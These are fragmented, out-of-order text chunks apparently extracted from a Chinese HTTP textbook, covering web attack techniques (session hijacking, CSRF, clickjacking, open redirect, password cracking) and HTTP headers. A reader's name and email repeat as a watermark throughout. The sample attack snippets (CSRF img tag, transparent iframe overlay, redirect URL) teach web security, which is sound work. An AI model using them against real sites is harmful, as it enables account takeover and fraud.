    {"text": "11.3 因设置或设计上的缺陷引发的安全漏洞 因设置或设计上的缺陷引发的安全漏洞是指，错误设置 Web 服务 器，或是由设计上的一些问题引起的安全漏洞。 11.3.1 强制浏览 强制浏览（Forced Browsing）安全漏洞是指，从安置在 Web 服务 器的公开目录下的文件中，浏览那些原本非自愿公开的文件。"},
    {"text": "● ● 泄露顾客的个人信息等重要情报● 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 ● ● 泄露原本需要具有访问权限的用户才可查阅的信息内容● ● ● 泄露未外连到外界的文件 对那些原本不愿公开的文件，为了保证安全会隐蔽其 URL。"},
    {"text": "容易被推测的文件名及目录名 http://www.example.com/entry/entry_081202.log 233 文 件 名 称 容 易 推 测（按 上 面 的 情 况， 可 推 出 下 一 个 文 件 是 entry_081203.log） 备份文件 http://www.example.com/cgi-bin/entry.cgi （原始文件） http://www.example.com/cgi-bin/entry.cgi~ （备份文件） http://www.example.com/cgi-bin/entry.bak （备份文件） 由编辑软件自动生成的备份文件无执行权限，有可能直接以源代码 形式显示 经认证才可显示的文件 直接通过 URL 访问原本必须经过认证才能在 Web 页面上使用的文 件（HTML 文件、图片、PDF 等文档、CSS 以及其他数据等） ■强制浏览导致安全漏洞的案例 下面我们以会员制度的 SNS 日记功能为例，讲解强制浏览可能导 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 致的安全漏洞。"},
    {"text": "http://.... 只有山田本人以及和他加为好友 的用户才能访问山田的日记 SNS 山田先生的日记一览 今天的 BBQ 聚会 好友可见 日记的源代码（部分摘录） 在都内（指日本东京都 <img src=\"http://example.com/img/tRNqSUBdG7Da.jpg\"> ）某处举办 参与今天的 BBQ 聚会 直接指定图片 URL，即使没有访 的有 A 公司的小 O、C 公司的小 K…… 问权限的用户也可能看到 图：强制浏览导致安全漏洞的案例 234 该日记中包含的图像照片的源代码如下所示。"},
    {"text": "<img src=\"http://example.com/img/tRNqSUBdG7Da.jpg\"> 即使没有对这篇日记的访问权限，只要知道这图片的 URL，通过 直接指定 URL 的方式就能显示该图片。"},
    {"text": "11.3.2 不正确的错误消息处理 不正确的错误消息处理（Error Handling Vulnerability）的安全漏洞 是指，Web 应用的错误信息内包含对攻击者有用的信息。"},
    {"text": "● ● Web 应用抛出的错误消息● ● ● 数据库等系统抛出的错误消息 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 Web 应用不必在用户的浏览画面上展现详细的错误消息。"},
    {"text": "邮件地址 yama@example.com 密码 ******** 记住登录状态 登录 235 邮件地址未注册 输入的邮件地址未注册 请确认输入的正确性 这里给出的提示“ 邮件地址未注册 ”是想传达已注册 的邮件地址输入错误的消息。"},
    {"text": "图：不正确的错误消息处理导致安全漏洞的案例 上方画面提示“邮件地址未注册”的错误消息。 当输入的邮件地址 尚未在该 Web 网站上注册时，就会触发这条错误消息。 因为倘若邮件 地址存在，应该会提示“输入的密码有误”之类的错误消息。 攻击者利用进行不同的输入会提示不同的错误信息这条，就可用来 确认输入的邮件地址是否已在这个 Web 网站上注册过了。 为了不让错误消息给攻击者以启发，建议将提示消息的内容仅保留 到“认证错误”这种程度即可。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 数据库等系统抛出的错误消息 下面我们以搜索功能提示的错误信息为例，讲解不正确的错误消息 处理。"},
    {"text": "http://.... ' DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' IN (itemnum,name,scr)' at line 1 at 236 /var/www/search.cgi line 107. 可知使用的是（MySQL）数据库。"},
    {"text": "● ● PHP 或 ASP 等脚本错误● ● ● 数据库或中间件的错误● ● ● Web 服务器的错误 各系统应对详细的错误消息进行抑制设定，或使用自定义错误消 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 息，以避免某些错误信息给攻击者以启发。"},
    {"text": "http://example.com/?redirect= http://www.tricorder.jp 237 攻击者把重定向指定的参数改写成已设好陷阱的 Web 网站对应的 连接，如下所示。 http://example.com/?redirect= http://hackr.jp 用户看到 URL 后原以为访问 example.com，不料实际上被诱导至 hackr.jp 这个指定的重定向目标。"},
    {"text": "11.4 因会话管理疏忽引发的安全漏洞 会话管理是用来管理用户状态的必备功能，但是如果在会话管理上 有所疏忽，就会导致用户的认证状态被窃取等后果。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 11.4.1 会话劫持 会话劫持（Session Hijack）是指攻击者通过某种手段拿到了用户的 会话 ID，并非法使用此会话 ID 伪装成用户，达到攻击的目的。 登录中（认证状态）的会话 ID http://example.com/login?sid=bb3c8a93a024e 用户 欢迎山口先生 攻击者通过某种手段得到了会话 ID （bb3c8a93a024e） http://example.com/login?sid=bb3c8a93a024e 伪装成用户 攻击者 238 欢迎山口先生 图：会话劫持 具备认证功能的 Web 应用，使用会话 ID 的会话管理机制，作为管 理认证状态的主流方式。 会话 ID 中记录客户端的 Cookie 等信息，服务 器端将会话 ID 与认证状态进行一对一匹配管理。"},
    {"text": "● ● 通过非正规的生成方法推测会话 ID● ● ● 通过窃听或 XSS 攻击盗取会话 ID● ● ● 通过会话固定攻击（Session●Fixation）强行获取会话 ID ■会话劫持攻击案例 下面我们以认证功能为例讲解会话劫持。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 Cookie SID=f5d1278e8109 欢迎山口先生 用户 通过 XSS 攻击，设置利用 JavaScript 脚本调用 document.cookie 以窃取 Cookie 信息的陷阱， 盗走用户的会话 ID（SID） SID=f5d1278e8109 伪装成用户 攻击者将此 SID 设置到 攻击者 自己的浏览器 Cookie 中 欢迎山口先生 图：会话劫持攻击案例 攻击者在得知该 Web 网站存在可跨站攻击（XSS）的安全漏洞后， 239 就设置好用 JavaScript 脚本调用 document.cookie 以窃取 Cookie 信息的 陷阱，一旦用户踏入陷阱（访问了该脚本），攻击者就能获取含有会话 ID 的 Cookie。 攻击者拿到用户的会话 ID 后，往自己的浏览器的 Cookie 中设置该 会话 ID，即可伪装成会话 ID 遭窃的用户，访问 Web 网站了。 11.4.2 会话固定攻击 对以窃取目标会话 ID 为主动攻击手段的会话劫持而言，会话固定 攻击（Session Fixation）攻击会强制用户使用攻击者指定的会话 ID，属 于被动攻击。 ■会话固定攻击案例 下面我们以认证功能为例讲解会话固定攻击。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 ①访问登录页面 ②服务器发布一个会话 ID 攻击者 http://example.com/login?SID=f5d1278e8109 该会话 ID 为（未认证）状态 ③将②中的 URL 作为陷阱，诱导用户前去认证 认证后，会话 ID 变为（用户 A 已认证）状态 用户 A ④之后再用②中的 URL 访问 伪装成功 欢迎 攻击者 用户 A 图：会话固定攻击案例 240 攻击者准备陷阱，先访问 Web 网站拿到会话 ID（SID=f5d1278e8109）。"},
    {"text": "（步骤① ~ ②） 攻击者设置好强制用户使用该会话 ID 的陷阱，并等待用户拿着这 个 会 话 ID 前 去 认 证。 一 旦 用 户 触 发 陷 阱 并 完 成 认 证， 会 话 ID （SID=f5d1278e8109）在服务器上的状态（用户 A 已认证）就会被记录 下来。 （步骤③） 攻击者估计用户差不多已触发陷阱后，再利用之前这个会话 ID 访 问网站。 由于该会话 ID 目前已是（用户 A 已认证）状态，于是攻击者 作为用户 A 的身份顺利登录网站。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 11.4.3 跨站点请求伪造 跨站点请求伪造（Cross-Site Request Forgeries，CSRF）攻击是指攻 击者通过设置好的陷阱，强制对已完成认证的用户进行非预期的个人信 息或设定信息等某些状态更新，属于被动攻击。"},
    {"text": "跨站点请求伪造有可能会造成以下等影响。 ● ● 利用已通过认证的用户权限更新设定信息等 ● ● 利用已通过认证的用户权限购买商品● ● ● 利用已通过认证的用户权限在留言板上发表言论 ■跨站点请求伪造的攻击案例 下面以留言板功能为例，讲解跨站点请求伪造。"},
    {"text": "241 ①认证通过用户 A 身份 用户 A GET / HTTP/1.1 Host: example.com 用户 A Cookie: sid=1234567890 攻击者布下陷阱 在留言板上发表含有恶意代码的评论 <img src=\"http://example.com/msg?q= 你好 \"> ②用户 A 触发陷阱 用户 A GET /msg?q= 你好 HTTP/1.1 Host: example.com 你好 用户 A Cookie: sid=1234567890 用户 A 的浏览器中的 Cookie 持有已认证的会话 ID，利用用户 A 的 权限执行发表动作 图：跨站点请求伪造的攻击案例 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 在该留言板系统上，受害者用户 A 是已认证状态。"},
    {"text": "攻击者设置好一旦用户访问，即会发送在留言板上发表非主观行为 产生的评论的请求的陷阱。 用户 A 的浏览器执行完陷阱中的请求后， 留言板上也就会留下那条评论（步骤②）。"},
    {"text": "密码破解有以下两种手段。 ● ● 通过网络的密码试错● ● ● ●对已加密密码的破解（指攻击者入侵系统，已获得加密或散列处理 的密码数据的情况） 除去突破认证的攻击手段，还有 SQL 注入攻击逃避认证，跨站脚 本攻击窃取密码信息等方法。 ■通过网络进行密码试错 对 Web 应用提供的认证功能，通过网络尝试候选密码进行的一种 攻击。"},
    {"text": "● ● 穷举法● ● ● 字典攻击 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 穷举法 穷举法（Brute-force Attack，又称暴力破解法）是指对所有密钥集 合构成的密钥空间（Keyspace）进行穷举。"},
    {"text": "243 还是举银行采用个人识别码是“4 位数字”的密码的例子，考虑到 用户使用自己的生日做密码的可能性较高，于是就可以把生日日期数值 化，如将 0101~1231 保存成字典，进行尝试。"},
    {"text": "（最多尝试 366 次） 以 4 位数字的全组合进行穷举法 （最多尝试 10 000 次） 使用字典可缩短得到正确密码的时 间，但如果密码不在字典中就无法 肯定能在某次尝试时得到正确密码 正确匹配 * 前提条件是知道密码只使用 4 位数以内的数字组成 244 图：穷举法和字典攻击 利用别处泄露的 ID·密码进行攻击 字典攻击中有一种利用其他 Web 网站已泄露的 ID 及密码列表进行的 攻击。"},
    {"text": "很多用户习惯随意地在多个 Web 网站使用同一套 ID 及密码，因此 攻击会有相当高的成功几率①。 ■对已加密密码的破解 Web 应用在保存密码时，一般不会直接以明文的方式保存，通过散 A 根据警方的调查统计，成功入侵率有6.7%。"},
    {"text": "平成23年（2011年）公布的非 法 访 问 行 为 的 具 体 发 生 状 况 请 参 见 http://www.npa.go.jp/cyber/statics/h23/ pdf040.pdf 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 列函数做散列处理或加 salt 的手段对要保存的密码本身加密。"},
    {"text": "①密码注册时 原来的密码 散列函数 以散列值保存 abc MD5 900150983cd24fb0d6963f7d28e17f72 服务器端只保存散列值，不保存原来的明文密码。 在生成散列值时，使用加 salt 或扩展密码长度的安全策略 ②认证时 试错用的字符串 散列函数 跟①中保存的散列值匹配 abc MD5 900150983cd24fb0d6963f7d28e17f72 如果②的散列值和①中的保存的字符串匹配一致则表明认证成功 245 图：破解已加密的密码 从加密过的数据中导出明文通常有以下几种方法。"},
    {"text": "● ● 通过穷举法·字典攻击进行类推● ● ● 彩虹表● ● ● 拿到密钥● ● ● 加密算法的漏洞 通过穷举法·字典攻击进行类推 针对密码使用散列函数进行加密处理的情况，采用和穷举法或字典 攻击相同的手法，尝试调用相同的散列函数加密候选密码，然后把计算 出的散列值与目标散列值匹配，类推出密码。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 攻击者拿到的散列值 900150983cd24fb0d6963f7d28e17f72 调用散列函数对候选密码进行散列处理后类推 a 0cc175b9c0f1b6a831c399e269772661 b 92eb5ffee6ae2fec3ad71c777531578f c 4a8a08f09d37b73795649038408b5f33 一致 … 散列函数 … abc MD5 900150983cd24fb0d6963f7d28e17f72 … … zzzy 02441dd7f66c49c82cef55354f467149 zzzz 02c425157ecd32f259548b33402ff6d3 图：破解已加密的密码 / 通过穷举法·字典攻击进行类推 彩虹表 彩虹表（Rainbow Table）是由明文密码及与之对应的散列值构成的 246 一张数据库表，是一种通过事先制作庞大的彩虹表，可在穷举法 • 字典 攻击等实际破解过程中缩短消耗时间的技巧。 从彩虹表内搜索散列值就 可以推导出对应的明文密码。 从彩虹表搜索散列值推导出明文 明文 散列值（MD5） a 0cc175b9c0f1b6a831c399e269772661 b 92eb5ffee6ae2fec3ad71c777531578f … aa 4124bc0a9335c27f086f24ba207a4912 … pass1234 b4af804009cb036a4ccdc33431ef9ac9 … 彩虹表：预先已收集的明文与散列值的匹配表 图：破解已加密的密码 / 彩虹表 为了提高攻击成功率，拥有一张海量数据的彩虹表就成了必不可少的 条 件。 例 如 在 Free Rainbow Tables 网 站 上（http://www.freerainbowtables. com/en/tables2/）公布的一张由大小写字母及数字全排列的 1~8 位字符 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 串对应的 MD5 散列值构成的彩虹表，其大小约为 1050 吉字节。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 用透明层覆盖目标网站 !! 免费可玩 钓鱼游戏 从表面上看，这些网站（游戏网站）没有什么不正常的地方 图：点击劫持 248 攻击者在预料用户会点击的 Web 页面上设下陷阱。"},
    {"text": "iframe 页面中使用透明可点击按钮的示例 <iframe id=\"target\" src=\"http://sns.example.jp/leave\" style=⇒ \"opacity:0;filter:alpha(opacity=0)\"></iframe> <button style=\"position:absolute;top:100;left:100;z-index:-1\">PLAY⇒ </button> 由于 SNS 网站作为透明层被覆盖，SNS 网站上处于登录状态的用 户访问这个钓鱼网站并点击页面上的 PLAY 按钮之后，等同于点击了 SNS 网站的注销按钮。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 11.5.3 DoS 攻击 DoS 攻击（Denial of Service attack）是一种让运行中的服务呈停止 状态的攻击。"},
    {"text": "服务器很难分辨何为正常请求，何为攻击请求，因此很难防 止 DoS 攻击。 249 海量请求实际导致服务呈现停止状态 攻击安全漏洞使服务停止 瞄准会导致服务停止的 安全漏洞展开攻击 图：DoS 攻击 多台计算机发起的 DoS 攻击称为 DDoS 攻击（Distributed Denial of Service attack）。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 11.5.4 后门程序 后门程序（Backdoor）是指开发设置的隐藏入口，可不按正常步骤 使用受限功能。"},
    {"text": "● ● 开发阶段作为 Debug 调用的后门程序● ● ● 开发者为了自身利益植入的后门程序● ● ● 攻击者通过某种方法设置的后门程序 可通过监视进程和通信的状态发现被植入的后门程序。"},
    {"text": "250 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权"},
    {"text": "index GET / 只要查看Referer就能知道请求的 Referer: http://www.hackr.jp/index.htm URI是从哪个Web页面发起的 这个请求的 URI 是从 我这里发起的 客户端 服务器 Referer: http://www.hackr.jp/index.htm 首部字段 Referer 会告知服务器请求的原始资源的 URI。"},
    {"text": "但当直接在浏览 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 器的地址栏输入 URI，或出于安全性的考虑时，也可以不发送该首部 字段。"},
    {"text": "TE: trailers 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 6.4.19 User-Agent 118 图：User-Agent 用于传达浏览器的种类 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/⇒ 20100101 Firefox/13.0.1 首部字段 User-Agent 会将创建请求的浏览器和用户代理名称等信息 传达给服务器。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 6.5 响应首部字段 响应首部字段是由服务器端向客户端返回响应报文中所使用的字 段，用于补充响应的附加信息、服务器信息，以及对客户端的附加要求 等信息。 我把响应发送过来 客户端 服务器 图：HTTP 响应报文中使用的首部字段 6.5.1 Accept-Ranges 119 范围请求 OK 哟 Accept-Ranges: bytes 客户端 服务器 图：当不能处理范围请求时，Accept-Ranges: none Accept-Ranges: bytes 首部字段 Accept-Ranges 是用来告知客户端服务器是否能处理范围 请求，以指定获取服务器端某个部分的资源。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 6.5.2 Age 这个缓存向源服务器确认 过，现已过去了 10 分钟 Age: 600 客户端 缓存服务器 源服务器 Age: 600 首部字段 Age 能告知客户端，源服务器在多久前创建了响应。"},
    {"text": "6.5.3 ETag index.htm ETag: usagi-1234 服务器 资源的 URI 虽没有变，但是 资源更新 当资源更新后，ETag 值会随 之改变 index.htm ETag: usagi-5678 服务器 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 ETag: \"82e22293907ce725faf67773957acd12\" 首部字段 ETag 能告知客户端实体标识。"},
    {"text": "资源的 URI 虽然相同，但 中文版和英文版对应的资 源是不同的 中文版 英文版 121 服务器 ETag: usagi-abcd ETag: usagi-efgh 资源被缓存时，就会被分配唯一性标识。"},
    {"text": "例如，当使用中文版的浏 览器访问 http ：//www.google.com/ 时，就会返回中文版对应的资源，而 使用英文版的浏览器访问时，则会返回英文版对应的资源。"},
    {"text": "302 Found 那我到那里去看 Location: http://www.usagidesign.jp/sample.htm GET /sample.htm 200 OK 服务器 B www.usagidesign.jp Location: http://www.usagidesign.jp/sample.html 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 使用首部字段 Location 可以将响应接收方引导至某个与请求 URI 位置不同的资源。"},
    {"text": "6.5.5 Proxy-Authenticate Proxy-Authenticate: Basic realm=\"Usagidesign Auth\" 首部字段 Proxy-Authenticate 会把由代理服务器所要求的认证信息 发送给客户端。"},
    {"text": "6.5.6 Retry-After 5 分钟后再来访问哦 明天 10 点再来访问哦 服务器 服务器 Retry-After: 120 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 首部字段 Retry-After 告知客户端应该在多久之后再次发送请求。"},
    {"text": "6.5.7 Server 俺叫 GSE 在下 AmazonS3 我是 Apache/2.2.17（Unix） 服务器 服务器 124 服务器 Server: Apache/2.2.17 (Unix) 首部字段 Server 告知客户端当前服务器上安装的 HTTP 服务器应用 程序的信息。"},
    {"text": "Server: Apache/2.2.6 (Unix) PHP/5.2.5 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 6.5.8 Vary GET /sample.html GET /sample.html Accept-Language: en-us Accept-Language: en-us Vary: Accept-Language 客户端 代理服务器 源服务器 只能对持相同自然语言 （Accept-Language）的请求返回 缓存 图： 当代理服务器接收到带有 Vary 首部字段指定获取资源的请求时，如果使用 的 Accept-Language 字段的值相同，那么就直接从缓存返回响应。 反之， 125 则需要先从源服务器端获取资源后才能作为响应返回 Vary: Accept-Language 首部字段 Vary 可对缓存进行控制。"},
    {"text": "6.5.9 WWW-Authenticate WWW-Authenticate: Basic realm=\"Usagidesign Auth\" 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 首部字段 WWW-Authenticate 用于 HTTP 访问认证。"},
    {"text": "我的 我的 是这个 是这个 126 客户端 服务器 图：在请求和响应两方的 HTTP 报文中都含有与实体相关的首部字段 6.6.1 Allow 在我这边只能使用 GET 和 HEAD 方法啊 Allow: GET, HEAD 客户端 服务器 Allow: GET, HEAD 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 首部字段 Allow 用于通知客户端能够支持 Request-URI 指定资源的 所有 HTTP 方法。"},
    {"text": "● ● gzip ● ● compress ● ● deflate ● ● identity 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 6.6.3 Content-Language 该资源是中文的 服务器 Content-Language: zh-CN 首部字段 Content-Language 会告知客户端，实体主体使用的自然语 言（指中文或英文等语言）。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 6.6.5 Content-Location Content-Location: http://www.hackr.jp/index-ja.html 首部字段 Content-Location 给出与报文主体部分相对应的 URI。 和 首部字段 Location 不同，Content-Location 表示的是报文主体返回资源 对应的 URI。 比如，对于使用首部字段 Accept-Language 的服务器驱动型请求， 当 返 回 的 页 面 内 容 与 实 际 请 求 的 对 象 不 同 时， 首 部 字 段 Content-Location 内 会 写 明 URI。 （访 问 http://www.hackr.jp/ 返 回 的 对 象 却 是 http://www.hackr.jp/index-ja.html 等类似情况） 6.6.6 Content-MD5 129 报文主体 MD5 算法 Base64 编码 Content-MD5: OGFkZDUwNGVhNGY3N2MxMD IwZmQ4NTBmY2IyTY== 客户端 服务器 图： 客 户 端 会 对 接 收 的 报 文 主 体 执 行 相 同 的 MD5 算 法， 然 后 与 首 部 字 段 Content-MD5 的字段值比较 Content-MD5: OGFkZDUwNGVhNGY3N2MxMDIwZmQ4NTBmY2IyTY== 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 首部字段 Content-MD5 是一串由 MD5 算法生成的值，其目的在于 检查报文主体在传输过程中是否保持完整，以及确认传输到达。 对报文主体执行 MD5 算法获得的 128 位二进制数，再通过 Base64 编码后将结果写入 Content-MD5 字段值。"},
    {"text": "6.6.7 Content-Range 130 把那些部分发送给我 客户端 服务器 全部 10000 字节内，先 发送第 5001~10000 字节 的资源吧 HTTP/1.1 206 Partial Content Date: Wed, 04 Jul 2012 07:28:03 GMT Content-Range: bytes 5001-10000/10000 Content-Length: 5000 Content-Type: image/jpeg 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 Content-Range: bytes 5001-10000/10000 针对范围请求，返回响应时使用的首部字段 Content-Range，能告 知客户端作为响应返回的实体的哪个部分符合范围请求。"},
    {"text": "6.6.9 Expires 该资源你可以使用到 2012 年 7 月 4 日 缓存服务器 源服务器 Expires: Wed, 04 Jul 2012 08:26:05 GMT 首部字段 Expires 会将资源失效的日期告知客户端。"},
    {"text": "缓存服务器在 接 收 到 含 有 首 部 字 段 Expires 的 响 应 后， 会 以 缓 存 来 应 答 请 求， 在 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Expires 字段值指定的时间之前，响应的副本会一直被保存。"},
    {"text": "6.6.10 Last-Modified 该资源在 2012 年 5 月 23 日被修改过 132 客户端 服务器 Last-Modified: Wed, 23 May 2012 09:59:55 GMT 首部字段 Last-Modified 指明资源最终修改的时间。"},
    {"text": "6.7 为 Cookie 服务的首部字段 管理服务器与客户端之间状态的 Cookie，虽然没有被编入标准化 HTTP/1.1 的 RFC2616 中，但在 Web 网站方面得到了广泛的应用。"},
    {"text": "接 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 着 当 用 户 访 问 该 Web 网 站 时， 可 通 过 通 信 方 式 取 回 之 前 发 放 的 Cookie。 调用 Cookie 时，由于可校验 Cookie 的有效期，以及发送方的域、 路径、协议等信息，所以正规发布的 Cookie 内的数据不会因来自其他 Web 站点和攻击者的攻击而泄露。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 表 6-8：为 Cookie 服务的首部字段 首部字段名 说明 首部类型 Set-Cookie 开始状态管理所使用的 Cookie 信息 响应首部字段 Cookie 服务器接收到的 Cookie 信息 请求首部字段 Set-Cookie 首部 你拿着这个 Cookie 客户端 我拿好这个 服务器 Cookie 了 134 Cookie 首部 6.7.1 Set-Cookie Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31 GMT; ⇒ path=/; domain=.hackr.jp; 当服务器准备开始管理客户端的状态时，会事先告知各种信息。"},
    {"text": "表 6-9：Set-Cookie 字段的属性 属性 说明 NAME=VALUE 赋予 Cookie 的名称和其值（必需项） expires=DATE Cookie 的有效期（若不明确指定则默认为浏览器关闭前为止） path=PATH 将服务器上的文件目录作为 Cookie 的适用对象（若不指定则 默认为文档所在的文件目录） domain= 域名 作为 Cookie 适用对象的域名 （若不指定则默认为创建 Cookie 的服务器的域名） 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 （续） 属性 说明 Secure 仅在 HTTPS 安全通信时才会发送 Cookie HttpOnly 加以限制，使 Cookie 不能被 JavaScript 脚本访问 expires 属性 Cookie 的 expires 属性指定浏览器可发送 Cookie 的有效期。"},
    {"text": "secure 属性 Cookie 的 secure 属性用于限制 Web 页面仅在 HTTPS 安全连接时， 才可以发送 Cookie。 发送 Cookie 时，指定 secure 属性的方法如下所示。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Set-Cookie: name=value; secure 以上例子仅当在 https ：//www.example.com/（HTTPS）安全连接的 情况下才会进行 Cookie 的回收。"},
    {"text": "136 发送指定 HttpOnly 属性的 Cookie 的方法如下所示。 Set-Cookie: name=value; HttpOnly 通过上述设置，通常从 Web 页面内还可以对 Cookie 进行读取操作。 但使用 JavaScript 的 document.cookie 就无法读取附加 HttpOnly 属性后 的 Cookie 的 内 容 了。"},
    {"text": "6.7.2 Cookie Cookie: status=enable 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 首部字段 Cookie 会告知服务器，当客户端想获得 HTTP 状态管理 支持时，就会在请求中包含从服务器接收到的 Cookie。"},
    {"text": "● ● X-Frame-Options ● ● X-XSS-Protection ● ● DNT ● ● P3P 137 6.8.1 X-Frame-Options X-Frame-Options: DENY 首部字段 X-Frame-Options 属于 HTTP 响应首部，用于控制网站内 容在其他 Web 网站的 Frame 标签内的显示问题。"},
    {"text": "（ 比 如， 当 指 定 http://hackr.jp/sample.html 页 面 为 SAMEORIGIN 时，那么 hackr.jp 上所有页面的 frame 都被允许可 加载该页面，而 example.com 等其他域名的页面就不行了） 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 支 持 该 首 部 字 段 的 浏 览 器 有：Internet Explorer 8、Firefox 3.6.9+、 Chrome 4.1.249.1042+、Safari 4+ 和 Opera 10.50+ 等。"},
    {"text": "对 apache2.conf 的配置实例 <IfModule mod_headers.c> Header append X-FRAME-OPTIONS \"SAMEORIGIN\" </IfModule> 6.8.2 X-XSS-Protection 138 X-XSS-Protection: 1 首部字段 X-XSS-Protection 属于 HTTP 响应首部，它是针对跨站脚 本攻击（XSS）的一种对策，用于控制浏览器 XSS 防护机制的开关。 首部字段 X-XSS-Protection 可指定的字段值如下。"},
    {"text": "客户端 服务器 DNT 首部 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 DNT: 1 首部字段 DNT 属于 HTTP 请求首部，其中 DNT 是 Do Not Track 的简称，意为拒绝个人信息被收集，是表示拒绝被精准广告追踪的一 种方法。"},
    {"text": "139 6.8.4 P3P P3P: CP=\"CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa ⇒ IVAa IVDa OUR BUS IND UNI COM NAV INT\" 首部字段 P3P 属于 HTTP 相应首部，通过利用 P3P（The Platform for Privacy Preferences，在线隐私偏好平台）技术，可以让 Web 网站上 的个人隐私变成一种仅供程序可理解的形式，以达到保护用户隐私的 目的。"},
    {"text": "步骤 1： 创建 P3P 隐私 步骤 2： 创建 P3P 隐私对照文件后，保存命名在 /w3c/p3p.xml 步骤 3： 从 P3P 隐私中新建 Compact policies 后，输出到 HTTP 响 应中 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 有关 P3P 的详细规范标准请参看下方链接。"},
    {"text": "● ● The●Platform●for●Privacy●Preferences●1.0（P3P1.0）Specification http://www.w3.org/TR/P3P/ 协议中对 X- 前缀的废除 在 HTTP 等多种协议中，通过给非标准参数加上前缀 X-，来区别于标 准参数，并使那些非标准的参数作为扩展变成可能。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 7.1 HTTP 的缺点 到现在为止，我们已了解到 HTTP 具有相当优秀和方便的一面，然 而 HTTP 并非只有好的一面，事物皆具两面性，它也是有不足之处的。 HTTP 主要有这些不足，例举如下。"},
    {"text": "● ● 通信使用明文（不加密） ，内容可能会被窃听● ● ● 不验证通信方的身份，因此有可能遭遇伪装● ● ● 无法证明报文的完整性，所以有可能已遭篡改 这些问题不仅在 HTTP 上出现，其他未加密的协议中也会存在这类 问题。"},
    {"text": "而且，还有像某些特定的 Web 服务器和特定的 Web 浏览器在实际应用中存在的不足（也可以说 142 成是脆弱性或安全漏洞），另外，用 Java 和 PHP 等编程语言开发的 Web 应用也可能存在安全漏洞。"},
    {"text": "7.1.1 通信使用明文可能会被窃听 由于 HTTP 本身不具备加密的功能，所以也无法做到对通信整体 （使用 HTTP 协议通信的请求和响应的内容）进行加密。"},
    {"text": "■ TCP/IP 是可能被窃听的网络 如果要问为什么通信时不加密是一个缺点，这是因为，按 TCP/IP 协议族的工作机制，通信内容在所有的通信线路上都有可能遭到窥视。"},
    {"text": "无论世界哪个角 落的服务器在和客户端通信时，在此通信线路上的某些网络设备、光 缆、计算机等都不可能是个人的私有物，所以不排除某个环节中会遭到 恶意窥视行为。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 7 章 确保 Web 安全的 HTTPS 即使已经过加密处理的通信，也会被窥视到通信内容，这点和未加 密的通信是相同的。"},
    {"text": "窃听 窃听 窃听 窃听 客户端 互联网 服务器 相同 LAN 内的 窃听 窃听 其他客户端 图：互联网上的任何角落都存在通信内容被窃听的风险 143 窃听相同段上的通信并非难事。"},
    {"text": "它可以获 取 HTTP 协议的请求和响应的内容，并对其进行解析。 像使用 GET 方法发送请求、响应返回了 200 OK，查看 HTTP 响应 报文的全部内容等一系列的事情都可以做到。"},
